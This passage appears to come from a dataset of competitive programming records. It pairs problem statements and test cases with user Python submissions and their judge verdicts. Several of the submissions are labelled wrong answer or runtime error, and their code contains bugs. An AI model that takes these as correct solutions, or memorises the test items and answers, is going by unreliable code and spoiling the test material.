"<d><d><w><v><g><m></m></g><b><u></u><j><h><n><q><q><c></c></q></q></n></h><c></c><l><r><l></l><b><d></d><x><k><o><w><q><x></x></q></w></o></k><p></p></x><g><m></m></g></b></r></l></j><k><l></l></k><c><v><g><p><p><d><e><z><x></x></z></e><v></v></d><u><o><u></u><k></k></o></u><m><x><h><z><f></f></z></h></x><w></w></m></p></p></g></v><t><n><u><b><h></h></b></u><r><m><k><z></z></k></m><j><e><w><s></s><e><s><p></p><o></o></s><g></g></e><u></u></w></e></j></r></n></t></c></b></v></w></d></d>", "output": "<d>\n <d>\n <w>\n <v>\n <g>\n <m>\n </m>\n </g>\n <b>\n <u>\n </u>\n <j>\n <h>\n <n>\n <q>\n <q>\n <c>\n </c>\n </q>\n </q>\n </n>\n </h>\n <c>\n </c>\n <l>\n <r>\n <l>\n </l>\n <b>\n ..." } ]
1,454,434,883
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
5
124
0
str = input() str = str.replace('</', '') str = str.replace('<', '') str = str.replace('>', '') s = [] level = 0 for c in str: if(len(s) == 0): print(' ' * (2 * level) + '<' + c + '>') level += 1 s.append(c) else: q = s[-1] if(q == c): level -= 1 s.pop() print(' ' * (2 * level) + '</' + c + '>') else: print(' ' * (2 * level) + '<' + c + '>') level += 1 s.append(c)
Title: Simple XML Time Limit: None seconds Memory Limit: None megabytes Problem Description: Let's define a string &lt;x&gt; as an opening tag, where *x* is any small letter of the Latin alphabet. Each opening tag matches a closing tag of the type &lt;/x&gt;, where *x* is the same letter. Tegs can be nested into each other: in this case one opening and closing tag pair is located inside another pair. Let's define the notion of a XML-text: - an empty string is a XML-text - if *s* is a XML-text, then *s*'=&lt;a&gt;+*s*+&lt;/a&gt; also is a XML-text, where *a* is any small Latin letter - if *s*1, *s*2 are XML-texts, then *s*1+*s*2 also is a XML-text You are given a XML-text (it is guaranteed that the text is valid), your task is to print in the following form: - each tag (opening and closing) is located on a single line - print before the tag 2<=*<=*h* spaces, where *h* is the level of the tag's nestedness. Input Specification: The input data consists on the only non-empty string — the XML-text, its length does not exceed 1000 characters. It is guaranteed that the text is valid. The text contains no spaces. Output Specification: Print the given XML-text according to the above-given rules. Demo Input: ['&lt;a&gt;&lt;b&gt;&lt;c&gt;&lt;/c&gt;&lt;/b&gt;&lt;/a&gt;\n', '&lt;a&gt;&lt;b&gt;&lt;/b&gt;&lt;d&gt;&lt;c&gt;&lt;/c&gt;&lt;/d&gt;&lt;/a&gt;\n'] Demo Output: ['&lt;a&gt;\n &lt;b&gt;\n &lt;c&gt;\n &lt;/c&gt;\n &lt;/b&gt;\n&lt;/a&gt;\n', '&lt;a&gt;\n &lt;b&gt;\n &lt;/b&gt;\n &lt;d&gt;\n &lt;c&gt;\n &lt;/c&gt;\n &lt;/d&gt;\n&lt;/a&gt;\n'] Note: none
```python str = input() str = str.replace('</', '') str = str.replace('<', '') str = str.replace('>', '') s = [] level = 0 for c in str: if(len(s) == 0): print(' ' * (2 * level) + '<' + c + '>') level += 1 s.append(c) else: q = s[-1] if(q == c): level -= 1 s.pop() print(' ' * (2 * level) + '</' + c + '>') else: print(' ' * (2 * level) + '<' + c + '>') level += 1 s.append(c) ```
0
991
D
Bishwock
PROGRAMMING
1,500
[ "dp", "greedy" ]
null
null
Bishwock is a chess figure that consists of three squares resembling an "L-bar". This figure can be rotated by 90, 180 and 270 degrees so it can have four possible states: Bishwocks don't attack any squares and can even occupy on the adjacent squares as long as they don't occupy the same square. Vasya has a board with $2\times n$ squares onto which he wants to put some bishwocks. To his dismay, several squares on this board are already occupied by pawns and Vasya can't put bishwocks there. However, pawns also don't attack bishwocks and they can occupy adjacent squares peacefully. Knowing the positions of pawns on the board, help Vasya to determine the maximum amount of bishwocks he can put onto the board so that they wouldn't occupy the same squares and wouldn't occupy squares with pawns.
The input contains two nonempty strings that describe Vasya's board. Those strings contain only symbols "0" (zero) that denote the empty squares and symbols "X" (uppercase English letter) that denote the squares occupied by pawns. Strings are nonempty and are of the same length that does not exceed $100$.
Output a single integer — the maximum amount of bishwocks that can be placed onto the given board.
[ "00\n00\n", "00X00X0XXX0\n0XXX0X00X00\n", "0X0X0\n0X0X0\n", "0XXX0\n00000\n" ]
[ "1", "4", "0", "2" ]
none
1,500
[ { "input": "00\n00", "output": "1" }, { "input": "00X00X0XXX0\n0XXX0X00X00", "output": "4" }, { "input": "0X0X0\n0X0X0", "output": "0" }, { "input": "0XXX0\n00000", "output": "2" }, { "input": "0\n0", "output": "0" }, { "input": "0\nX", "output": "0" }, { "input": "X\n0", "output": "0" }, { "input": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "output": "0" }, { "input": "0000X0XX000X0XXXX0X0XXXX000X0X0XX000XXX0X00XX00XX00X0000XX0XX00X0X00X0X00X0XX000XX00XXXXXXXXXXXXXXX0\nX00XX0XX00XXXX00XXXX00XX0000000000XXX0X00XX0XX00XXX00X00X0XX0000X00XXXXXXX00X00000XXX00XXX00XXX0X0XX", "output": "18" }, { "input": "X\nX", "output": "0" }, { "input": "X0\n00", "output": "1" }, { "input": "0X\n00", "output": "1" }, { "input": "00\nX0", "output": "1" }, { "input": "00\n0X", "output": "1" }, { "input": "XX\nXX", "output": "0" }, { "input": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "output": "66" }, { "input": "00000\n00000", "output": "3" }, { "input": "00000000\nXXXXXXXX", "output": "0" }, { "input": "X00X0XXXX0\nX0XXX0XX00", "output": "2" }, { "input": "00000XX0000000000000\n0X00000XX0000X00X000", "output": "10" }, { "input": "XXX00XXX0XXX0X0XXXXX\nXXX00XXX0XXX0X0XXXXX", "output": "1" }, { "input": "000X00000X00000X00000000000000\n000X00000X00000X00000000000000", "output": "17" }, { "input": "00X0X00000X0X0X00X0X0XXX0000X0\n0000000X00X000X000000000X00000", "output": "12" }, { "input": "000000000000000000000000000000000000000000\n00X000X00X00X0000X0XX000000000X000X0000000", "output": "23" }, { "input": "X0XXX00XX00X0XXXXXXXX0X0X0XX0X0X0XXXXX00X0XXXX00XX000XX0X000XX000XX\n0000000000000000000000000000000000000000000000000000000000000000000", "output": "24" }, { "input": "0000000000000000000000000000X00000000000000XX0X00000X0000000000000000000000000000000000000\n0000000000000000000000000X0000000000000000000000000000000000000000000000000000000000000000", "output": "57" }, { "input": "0000000000000000000000000000000000000X000000000000000000000X0X00000000000000000000000000000\n000000000000000000000000000X0X0000000000000000000000000000000000000000000000000000000000000", "output": "58" }, { "input": "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\nX0X00000000000000000000000000X000000000X0000X00X000000XX000000X0X00000000X000X000000X0000X00", "output": "55" }, { "input": "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX0XXXXXXXXXXXXXXXX0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "output": "2" }, { "input": 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1,591,201,318
2,147,483,647
Python 3
OK
TESTS
72
109
307,200
from math import * a=[] s=input() n=len(s) a.append(s) s=input() a.append(s) cur=0 emp=0 ans=0 for i in range(n): cur=0 if a[0][i]=='0': cur+=1 if a[1][i]=='0': cur+=1 emp+=cur if emp>=3: emp-=3 ans+=1 else: emp=cur print(ans)
Title: Bishwock Time Limit: None seconds Memory Limit: None megabytes Problem Description: Bishwock is a chess figure that consists of three squares resembling an "L-bar". This figure can be rotated by 90, 180 and 270 degrees so it can have four possible states: Bishwocks don't attack any squares and can even occupy on the adjacent squares as long as they don't occupy the same square. Vasya has a board with $2\times n$ squares onto which he wants to put some bishwocks. To his dismay, several squares on this board are already occupied by pawns and Vasya can't put bishwocks there. However, pawns also don't attack bishwocks and they can occupy adjacent squares peacefully. Knowing the positions of pawns on the board, help Vasya to determine the maximum amount of bishwocks he can put onto the board so that they wouldn't occupy the same squares and wouldn't occupy squares with pawns. Input Specification: The input contains two nonempty strings that describe Vasya's board. Those strings contain only symbols "0" (zero) that denote the empty squares and symbols "X" (uppercase English letter) that denote the squares occupied by pawns. Strings are nonempty and are of the same length that does not exceed $100$. Output Specification: Output a single integer — the maximum amount of bishwocks that can be placed onto the given board. Demo Input: ['00\n00\n', '00X00X0XXX0\n0XXX0X00X00\n', '0X0X0\n0X0X0\n', '0XXX0\n00000\n'] Demo Output: ['1', '4', '0', '2'] Note: none
```python from math import * a=[] s=input() n=len(s) a.append(s) s=input() a.append(s) cur=0 emp=0 ans=0 for i in range(n): cur=0 if a[0][i]=='0': cur+=1 if a[1][i]=='0': cur+=1 emp+=cur if emp>=3: emp-=3 ans+=1 else: emp=cur print(ans) ```
3
794
C
Naming Company
PROGRAMMING
1,800
[ "games", "greedy", "sortings" ]
null
null
Oleg the client and Igor the analyst are good friends. However, sometimes they argue over little things. Recently, they started a new company, but they are having trouble finding a name for the company. To settle this problem, they've decided to play a game. The company name will consist of *n* letters. Oleg and Igor each have a set of *n* letters (which might contain multiple copies of the same letter, the sets can be different). Initially, the company name is denoted by *n* question marks. Oleg and Igor takes turns to play the game, Oleg moves first. In each turn, a player can choose one of the letters *c* in his set and replace any of the question marks with *c*. Then, a copy of the letter *c* is removed from his set. The game ends when all the question marks has been replaced by some letter. For example, suppose Oleg has the set of letters {*i*,<=*o*,<=*i*} and Igor has the set of letters {*i*,<=*m*,<=*o*}. One possible game is as follows : Initially, the company name is ???. Oleg replaces the second question mark with 'i'. The company name becomes ?i?. The set of letters Oleg have now is {*i*,<=*o*}. Igor replaces the third question mark with 'o'. The company name becomes ?io. The set of letters Igor have now is {*i*,<=*m*}. Finally, Oleg replaces the first question mark with 'o'. The company name becomes oio. The set of letters Oleg have now is {*i*}. In the end, the company name is oio. Oleg wants the company name to be as lexicographically small as possible while Igor wants the company name to be as lexicographically large as possible. What will be the company name if Oleg and Igor always play optimally? A string *s*<==<=*s*1*s*2...*s**m* is called lexicographically smaller than a string *t*<==<=*t*1*t*2...*t**m* (where *s*<=≠<=*t*) if *s**i*<=&lt;<=*t**i* where *i* is the smallest index such that *s**i*<=≠<=*t**i*. (so *s**j*<==<=*t**j* for all *j*<=&lt;<=*i*)
The first line of input contains a string *s* of length *n* (1<=≤<=*n*<=≤<=3·105). All characters of the string are lowercase English letters. This string denotes the set of letters Oleg has initially. The second line of input contains a string *t* of length *n*. All characters of the string are lowercase English letters. This string denotes the set of letters Igor has initially.
The output should contain a string of *n* lowercase English letters, denoting the company name if Oleg and Igor plays optimally.
[ "tinkoff\nzscoder\n", "xxxxxx\nxxxxxx\n", "ioi\nimo\n" ]
[ "fzfsirk\n", "xxxxxx\n", "ioi\n" ]
One way to play optimally in the first sample is as follows : - Initially, the company name is ???????.- Oleg replaces the first question mark with 'f'. The company name becomes f??????.- Igor replaces the second question mark with 'z'. The company name becomes fz?????.- Oleg replaces the third question mark with 'f'. The company name becomes fzf????.- Igor replaces the fourth question mark with 's'. The company name becomes fzfs???.- Oleg replaces the fifth question mark with 'i'. The company name becomes fzfsi??.- Igor replaces the sixth question mark with 'r'. The company name becomes fzfsir?.- Oleg replaces the seventh question mark with 'k'. The company name becomes fzfsirk. For the second sample, no matter how they play, the company name will always be xxxxxx.
1,750
[ { "input": "tinkoff\nzscoder", "output": "fzfsirk" }, { "input": "xxxxxx\nxxxxxx", "output": "xxxxxx" }, { "input": "ioi\nimo", "output": "ioi" }, { "input": "abc\naaa", "output": "aab" }, { "input": "reddit\nabcdef", "output": "dfdeed" }, { "input": "cbxz\naaaa", "output": "abac" }, { "input": "bcdef\nabbbc", "output": "bccdb" }, { "input": "z\ny", "output": "z" }, { "input": "y\nz", "output": "y" } ]
1,494,684,071
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
0
46
409,600
from collections import deque a = sorted(input()) l = len(a) a = deque(a[:(len(a)+1)//2]) b = sorted(input()) b = deque(b[(len(b))//2 +1:]) print(a, b) result = ["0"] * l left = 0 right = l - 1 while left <= right: if len(b) == 0: result[left] = a[0] break if a[0] > b[-1]: result[right] = a[-1] right -= 1 a.pop() else: result[left] = a[0] left += 1 a.popleft() # print(result) # print(left, right) if a[0] > b[-1]: result[right] = b[0] right -= 1 b.popleft() else: result[left] = b[-1] left += 1 b.pop() # print(result) # print(left, right) print("".join(result))
Title: Naming Company Time Limit: None seconds Memory Limit: None megabytes Problem Description: Oleg the client and Igor the analyst are good friends. However, sometimes they argue over little things. Recently, they started a new company, but they are having trouble finding a name for the company. To settle this problem, they've decided to play a game. The company name will consist of *n* letters. Oleg and Igor each have a set of *n* letters (which might contain multiple copies of the same letter, the sets can be different). Initially, the company name is denoted by *n* question marks. Oleg and Igor takes turns to play the game, Oleg moves first. In each turn, a player can choose one of the letters *c* in his set and replace any of the question marks with *c*. Then, a copy of the letter *c* is removed from his set. The game ends when all the question marks has been replaced by some letter. For example, suppose Oleg has the set of letters {*i*,<=*o*,<=*i*} and Igor has the set of letters {*i*,<=*m*,<=*o*}. One possible game is as follows : Initially, the company name is ???. Oleg replaces the second question mark with 'i'. The company name becomes ?i?. The set of letters Oleg have now is {*i*,<=*o*}. Igor replaces the third question mark with 'o'. The company name becomes ?io. The set of letters Igor have now is {*i*,<=*m*}. Finally, Oleg replaces the first question mark with 'o'. The company name becomes oio. The set of letters Oleg have now is {*i*}. In the end, the company name is oio. Oleg wants the company name to be as lexicographically small as possible while Igor wants the company name to be as lexicographically large as possible. What will be the company name if Oleg and Igor always play optimally? A string *s*<==<=*s*1*s*2...*s**m* is called lexicographically smaller than a string *t*<==<=*t*1*t*2...*t**m* (where *s*<=≠<=*t*) if *s**i*<=&lt;<=*t**i* where *i* is the smallest index such that *s**i*<=≠<=*t**i*. (so *s**j*<==<=*t**j* for all *j*<=&lt;<=*i*) Input Specification: The first line of input contains a string *s* of length *n* (1<=≤<=*n*<=≤<=3·105). All characters of the string are lowercase English letters. This string denotes the set of letters Oleg has initially. The second line of input contains a string *t* of length *n*. All characters of the string are lowercase English letters. This string denotes the set of letters Igor has initially. Output Specification: The output should contain a string of *n* lowercase English letters, denoting the company name if Oleg and Igor plays optimally. Demo Input: ['tinkoff\nzscoder\n', 'xxxxxx\nxxxxxx\n', 'ioi\nimo\n'] Demo Output: ['fzfsirk\n', 'xxxxxx\n', 'ioi\n'] Note: One way to play optimally in the first sample is as follows : - Initially, the company name is ???????.- Oleg replaces the first question mark with 'f'. The company name becomes f??????.- Igor replaces the second question mark with 'z'. The company name becomes fz?????.- Oleg replaces the third question mark with 'f'. The company name becomes fzf????.- Igor replaces the fourth question mark with 's'. The company name becomes fzfs???.- Oleg replaces the fifth question mark with 'i'. The company name becomes fzfsi??.- Igor replaces the sixth question mark with 'r'. The company name becomes fzfsir?.- Oleg replaces the seventh question mark with 'k'. The company name becomes fzfsirk. For the second sample, no matter how they play, the company name will always be xxxxxx.
```python from collections import deque a = sorted(input()) l = len(a) a = deque(a[:(len(a)+1)//2]) b = sorted(input()) b = deque(b[(len(b))//2 +1:]) print(a, b) result = ["0"] * l left = 0 right = l - 1 while left <= right: if len(b) == 0: result[left] = a[0] break if a[0] > b[-1]: result[right] = a[-1] right -= 1 a.pop() else: result[left] = a[0] left += 1 a.popleft() # print(result) # print(left, right) if a[0] > b[-1]: result[right] = b[0] right -= 1 b.popleft() else: result[left] = b[-1] left += 1 b.pop() # print(result) # print(left, right) print("".join(result)) ```
0
35
C
Fire Again
PROGRAMMING
1,500
[ "brute force", "dfs and similar", "shortest paths" ]
C. Fire Again
2
64
After a terrifying forest fire in Berland a forest rebirth program was carried out. Due to it *N* rows with *M* trees each were planted and the rows were so neat that one could map it on a system of coordinates so that the *j*-th tree in the *i*-th row would have the coordinates of (*i*,<=*j*). However a terrible thing happened and the young forest caught fire. Now we must find the coordinates of the tree that will catch fire last to plan evacuation. The burning began in *K* points simultaneously, which means that initially *K* trees started to burn. Every minute the fire gets from the burning trees to the ones that aren’t burning and that the distance from them to the nearest burning tree equals to 1. Find the tree that will be the last to start burning. If there are several such trees, output any.
The first input line contains two integers *N*,<=*M* (1<=≤<=*N*,<=*M*<=≤<=2000) — the size of the forest. The trees were planted in all points of the (*x*,<=*y*) (1<=≤<=*x*<=≤<=*N*,<=1<=≤<=*y*<=≤<=*M*) type, *x* and *y* are integers. The second line contains an integer *K* (1<=≤<=*K*<=≤<=10) — amount of trees, burning in the beginning. The third line contains *K* pairs of integers: *x*1,<=*y*1,<=*x*2,<=*y*2,<=...,<=*x**k*,<=*y**k* (1<=≤<=*x**i*<=≤<=*N*,<=1<=≤<=*y**i*<=≤<=*M*) — coordinates of the points from which the fire started. It is guaranteed that no two points coincide.
Output a line with two space-separated integers *x* and *y* — coordinates of the tree that will be the last one to start burning. If there are several such trees, output any.
[ "3 3\n1\n2 2\n", "3 3\n1\n1 1\n", "3 3\n2\n1 1 3 3\n" ]
[ "1 1\n", "3 3\n", "2 2" ]
none
1,500
[ { "input": "3 3\n1\n2 2", "output": "1 1" }, { "input": "3 3\n1\n1 1", "output": "3 3" }, { "input": "3 3\n2\n1 1 3 3", "output": "1 3" }, { "input": "1 1\n1\n1 1", "output": "1 1" }, { "input": "2 2\n1\n2 2", "output": "1 1" }, { "input": "2 2\n2\n1 1 2 1", "output": "1 2" }, { "input": "2 2\n3\n1 2 2 1 1 1", "output": "2 2" }, { "input": "2 2\n4\n2 1 2 2 1 1 1 2", "output": "1 1" }, { "input": "10 10\n1\n5 5", "output": "10 10" }, { "input": "10 10\n2\n7 8 1 9", "output": "3 1" }, { "input": "10 10\n3\n3 9 6 3 3 5", "output": "10 7" }, { "input": "10 10\n4\n5 3 4 7 7 5 8 5", "output": "10 10" }, { "input": "10 10\n5\n2 7 10 6 5 3 9 5 2 9", "output": "1 1" }, { "input": "10 10\n6\n5 1 4 6 3 9 9 9 5 7 7 2", "output": "1 3" }, { "input": "10 10\n7\n5 8 4 6 4 1 6 2 1 10 3 2 7 10", "output": "10 5" }, { "input": "10 10\n8\n9 4 9 10 5 8 6 5 1 3 2 5 10 6 2 1", "output": "1 10" }, { "input": "10 10\n9\n10 1 10 4 8 4 6 6 1 9 10 10 7 7 6 5 7 10", "output": "1 1" }, { "input": "10 10\n10\n7 2 1 9 5 8 6 10 9 4 10 8 6 8 8 7 4 1 9 5", "output": "1 3" }, { "input": "100 100\n1\n44 3", "output": "100 100" }, { "input": "100 100\n2\n79 84 76 63", "output": "1 1" }, { "input": "100 100\n3\n89 93 99 32 32 82", "output": "1 1" }, { "input": "100 100\n4\n72 12 1 66 57 67 25 67", "output": "100 100" }, { "input": "100 100\n5\n22 41 82 16 6 3 20 6 69 78", "output": "1 100" }, { "input": "100 100\n6\n92 32 90 80 32 40 24 19 36 37 39 13", "output": "1 100" }, { "input": "100 100\n7\n30 32 29 63 86 78 88 2 86 50 41 60 54 28", "output": "1 100" }, { "input": "100 100\n8\n40 43 96 8 17 63 61 59 16 69 4 95 30 62 12 91", "output": "100 100" }, { "input": "100 100\n9\n18 16 41 71 25 1 43 38 78 92 77 70 99 8 33 54 76 78", "output": "1 100" }, { "input": "100 100\n10\n58 98 33 62 75 13 94 86 81 42 14 53 12 66 7 14 3 63 87 37", "output": "40 1" }, { "input": "2000 2000\n1\n407 594", "output": "2000 2000" }, { "input": "2000 2000\n2\n1884 43 1235 1111", "output": "1 2000" }, { "input": "2000 2000\n3\n1740 1797 1279 1552 329 756", "output": "2000 1" }, { "input": "2000 2000\n4\n1844 1342 171 1810 1558 1141 1917 1999", "output": "530 1" }, { "input": "2000 2000\n5\n1846 327 1911 1534 134 1615 1664 682 1982 1112", "output": "346 1" }, { "input": "2000 2000\n6\n1744 1102 852 723 409 179 89 1085 997 1433 1082 1680", "output": "2000 1" }, { "input": "2000 2000\n7\n1890 22 288 1729 383 831 1192 1206 721 1376 969 492 510 1699", "output": "2000 2000" }, { "input": "2000 2000\n8\n286 381 572 1849 1703 1574 622 1047 1507 941 871 663 1930 120 1084 1830", "output": "1 1423" }, { "input": "2000 2000\n9\n226 531 56 138 722 405 1082 608 1355 1426 83 544 275 1268 683 412 1880 1049", "output": "1701 1" }, { "input": "2000 2000\n10\n763 851 1182 571 1758 389 247 1907 730 881 531 1970 1430 667 169 765 1729 120 129 967", "output": "2000 1793" }, { "input": "2000 2000\n10\n655 95 1640 1656 1344 79 666 1677 968 1180 522 1394 1850 1568 336 130 412 920 29 1664", "output": "2000 570" }, { "input": "10 1\n10\n4 1 6 1 10 1 9 1 1 1 7 1 5 1 2 1 8 1 3 1", "output": "1 1" }, { "input": "1 10\n10\n1 10 1 4 1 3 1 7 1 6 1 1 1 8 1 2 1 9 1 5", "output": "1 1" }, { "input": "1 100\n10\n1 68 1 18 1 43 1 12 1 64 1 34 1 23 1 70 1 46 1 33", "output": "1 100" }, { "input": "100 1\n10\n62 1 63 1 57 1 76 1 35 1 69 1 73 1 95 1 96 1 21 1", "output": "1 1" }, { "input": "1 2000\n10\n1 1730 1 1374 1 831 1 1076 1 580 1 914 1 123 1 668 1 1288 1 160", "output": "1 2000" }, { "input": "2000 1\n10\n1058 1 1779 1 1995 1 1398 1 96 1 1599 1 1496 1 1659 1 385 1 1485 1", "output": "721 1" }, { "input": "5 5\n1\n1 1", "output": "5 5" }, { "input": "2 5\n10\n1 1 1 2 1 3 1 4 1 5 2 1 2 2 2 3 2 4 2 5", "output": "1 1" }, { "input": "1 10\n9\n1 1 1 2 1 3 1 4 1 6 1 7 1 8 1 9 1 10", "output": "1 5" }, { "input": "3 3\n5\n1 1 1 3 2 2 3 1 3 3", "output": "1 2" }, { "input": "999 999\n4\n1 499 499 1 499 999 999 499", "output": "500 500" } ]
1,572,446,681
2,147,483,647
Python 3
RUNTIME_ERROR
TESTS
0
186
307,200
def find_result(n,m,cords): queue=[] visited={} for cord in cords: queue.append((cord[0],cord[1],0)) while queue: x,y,val=queue.pop(0) if (x,y) in visited: continue visited[(x,y)]=1 dr=[(-1,0),(1,0),(0,-1),(0,1)] for (a,b) in dr: xx=x+a yy=y+b if xx<0 or xx>m:continue if yy<0 or yy>n: continue if (xx,yy) not in visited: queue.append((xx,yy,val+1)) print(x+1,y+1) def main(): from sys import stdin, stdout n,m = stdin.readline().split() n,m = int(n),int(m) k=stdin.readline() cords=stdin.readline().split() cords= [(int(cords[i])-1,int(cords[i+1])-1) for i in range(0,len(cords),2)] find_result(n-1,m-1,cords) if __name__ == "__main__": main()
Title: Fire Again Time Limit: 2 seconds Memory Limit: 64 megabytes Problem Description: After a terrifying forest fire in Berland a forest rebirth program was carried out. Due to it *N* rows with *M* trees each were planted and the rows were so neat that one could map it on a system of coordinates so that the *j*-th tree in the *i*-th row would have the coordinates of (*i*,<=*j*). However a terrible thing happened and the young forest caught fire. Now we must find the coordinates of the tree that will catch fire last to plan evacuation. The burning began in *K* points simultaneously, which means that initially *K* trees started to burn. Every minute the fire gets from the burning trees to the ones that aren’t burning and that the distance from them to the nearest burning tree equals to 1. Find the tree that will be the last to start burning. If there are several such trees, output any. Input Specification: The first input line contains two integers *N*,<=*M* (1<=≤<=*N*,<=*M*<=≤<=2000) — the size of the forest. The trees were planted in all points of the (*x*,<=*y*) (1<=≤<=*x*<=≤<=*N*,<=1<=≤<=*y*<=≤<=*M*) type, *x* and *y* are integers. The second line contains an integer *K* (1<=≤<=*K*<=≤<=10) — amount of trees, burning in the beginning. The third line contains *K* pairs of integers: *x*1,<=*y*1,<=*x*2,<=*y*2,<=...,<=*x**k*,<=*y**k* (1<=≤<=*x**i*<=≤<=*N*,<=1<=≤<=*y**i*<=≤<=*M*) — coordinates of the points from which the fire started. It is guaranteed that no two points coincide. Output Specification: Output a line with two space-separated integers *x* and *y* — coordinates of the tree that will be the last one to start burning. If there are several such trees, output any. Demo Input: ['3 3\n1\n2 2\n', '3 3\n1\n1 1\n', '3 3\n2\n1 1 3 3\n'] Demo Output: ['1 1\n', '3 3\n', '2 2'] Note: none
```python def find_result(n,m,cords): queue=[] visited={} for cord in cords: queue.append((cord[0],cord[1],0)) while queue: x,y,val=queue.pop(0) if (x,y) in visited: continue visited[(x,y)]=1 dr=[(-1,0),(1,0),(0,-1),(0,1)] for (a,b) in dr: xx=x+a yy=y+b if xx<0 or xx>m:continue if yy<0 or yy>n: continue if (xx,yy) not in visited: queue.append((xx,yy,val+1)) print(x+1,y+1) def main(): from sys import stdin, stdout n,m = stdin.readline().split() n,m = int(n),int(m) k=stdin.readline() cords=stdin.readline().split() cords= [(int(cords[i])-1,int(cords[i+1])-1) for i in range(0,len(cords),2)] find_result(n-1,m-1,cords) if __name__ == "__main__": main() ```
-1
839
C
Journey
PROGRAMMING
1,500
[ "dfs and similar", "dp", "graphs", "probabilities", "trees" ]
null
null
There are *n* cities and *n*<=-<=1 roads in the Seven Kingdoms, each road connects two cities and we can reach any city from any other by the roads. Theon and Yara Greyjoy are on a horse in the first city, they are starting traveling through the roads. But the weather is foggy, so they can’t see where the horse brings them. When the horse reaches a city (including the first one), it goes to one of the cities connected to the current city. But it is a strange horse, it only goes to cities in which they weren't before. In each such city, the horse goes with equal probabilities and it stops when there are no such cities. Let the length of each road be 1. The journey starts in the city 1. What is the expected length (expected value of length) of their journey? You can read about expected (average) value by the link [https://en.wikipedia.org/wiki/Expected_value](https://en.wikipedia.org/wiki/Expected_value).
The first line contains a single integer *n* (1<=≤<=*n*<=≤<=100000) — number of cities. Then *n*<=-<=1 lines follow. The *i*-th line of these lines contains two integers *u**i* and *v**i* (1<=≤<=*u**i*,<=*v**i*<=≤<=*n*, *u**i*<=≠<=*v**i*) — the cities connected by the *i*-th road. It is guaranteed that one can reach any city from any other by the roads.
Print a number — the expected length of their journey. The journey starts in the city 1. Your answer will be considered correct if its absolute or relative error does not exceed 10<=-<=6. Namely: let's assume that your answer is *a*, and the answer of the jury is *b*. The checker program will consider your answer correct, if .
[ "4\n1 2\n1 3\n2 4\n", "5\n1 2\n1 3\n3 4\n2 5\n" ]
[ "1.500000000000000\n", "2.000000000000000\n" ]
In the first sample, their journey may end in cities 3 or 4 with equal probability. The distance to city 3 is 1 and to city 4 is 2, so the expected length is 1.5. In the second sample, their journey may end in city 4 or 5. The distance to the both cities is 2, so the expected length is 2.
1,500
[ { "input": "4\n1 2\n1 3\n2 4", "output": "1.500000000000000" }, { "input": "5\n1 2\n1 3\n3 4\n2 5", "output": "2.000000000000000" }, { "input": "70\n1 25\n57 1\n18 1\n65 1\n38 1\n1 41\n1 5\n1 69\n1 3\n31 1\n1 8\n1 9\n53 1\n70 1\n45 1\n1 24\n1 42\n1 30\n1 12\n1 37\n64 1\n1 28\n1 58\n1 22\n11 1\n1 4\n1 27\n1 16\n1 21\n54 1\n1 51\n1 43\n29 1\n56 1\n1 39\n32 1\n1 15\n1 17\n1 19\n1 40\n36 1\n48 1\n63 1\n1 7\n1 47\n1 13\n1 46\n60 1\n1 6\n23 1\n20 1\n1 52\n2 1\n26 1\n1 59\n1 66\n10 1\n1 62\n1 68\n1 55\n50 1\n33 1\n44 1\n1 34\n1 35\n1 61\n14 1\n67 1\n49 1", "output": "1.000000000000000" }, { "input": "10\n8 6\n9 10\n8 7\n1 4\n1 8\n9 5\n9 8\n2 5\n3 1", "output": "1.500000000000000" }, { "input": "1", "output": "0.000000000000000" } ]
1,614,666,446
2,147,483,647
PyPy 3
RUNTIME_ERROR
TESTS
9
1,013
26,828,800
# https://codeforces.com/contest/839/problem/C from collections import defaultdict n = int(input()) tree = defaultdict(set) for i in range(n - 1): u, v = map(int, input().split()) tree[u].add(v) tree[v].add(u) def DFS(curr, parent): total = 0 for child in tree[curr]: if child != parent: total += DFS(child, curr) + 1 if total == 0: return total else: return total / (len(tree[curr]) - (parent is not None)) print(DFS(1, None))
Title: Journey Time Limit: None seconds Memory Limit: None megabytes Problem Description: There are *n* cities and *n*<=-<=1 roads in the Seven Kingdoms, each road connects two cities and we can reach any city from any other by the roads. Theon and Yara Greyjoy are on a horse in the first city, they are starting traveling through the roads. But the weather is foggy, so they can’t see where the horse brings them. When the horse reaches a city (including the first one), it goes to one of the cities connected to the current city. But it is a strange horse, it only goes to cities in which they weren't before. In each such city, the horse goes with equal probabilities and it stops when there are no such cities. Let the length of each road be 1. The journey starts in the city 1. What is the expected length (expected value of length) of their journey? You can read about expected (average) value by the link [https://en.wikipedia.org/wiki/Expected_value](https://en.wikipedia.org/wiki/Expected_value). Input Specification: The first line contains a single integer *n* (1<=≤<=*n*<=≤<=100000) — number of cities. Then *n*<=-<=1 lines follow. The *i*-th line of these lines contains two integers *u**i* and *v**i* (1<=≤<=*u**i*,<=*v**i*<=≤<=*n*, *u**i*<=≠<=*v**i*) — the cities connected by the *i*-th road. It is guaranteed that one can reach any city from any other by the roads. Output Specification: Print a number — the expected length of their journey. The journey starts in the city 1. Your answer will be considered correct if its absolute or relative error does not exceed 10<=-<=6. Namely: let's assume that your answer is *a*, and the answer of the jury is *b*. The checker program will consider your answer correct, if . Demo Input: ['4\n1 2\n1 3\n2 4\n', '5\n1 2\n1 3\n3 4\n2 5\n'] Demo Output: ['1.500000000000000\n', '2.000000000000000\n'] Note: In the first sample, their journey may end in cities 3 or 4 with equal probability. The distance to city 3 is 1 and to city 4 is 2, so the expected length is 1.5. In the second sample, their journey may end in city 4 or 5. The distance to the both cities is 2, so the expected length is 2.
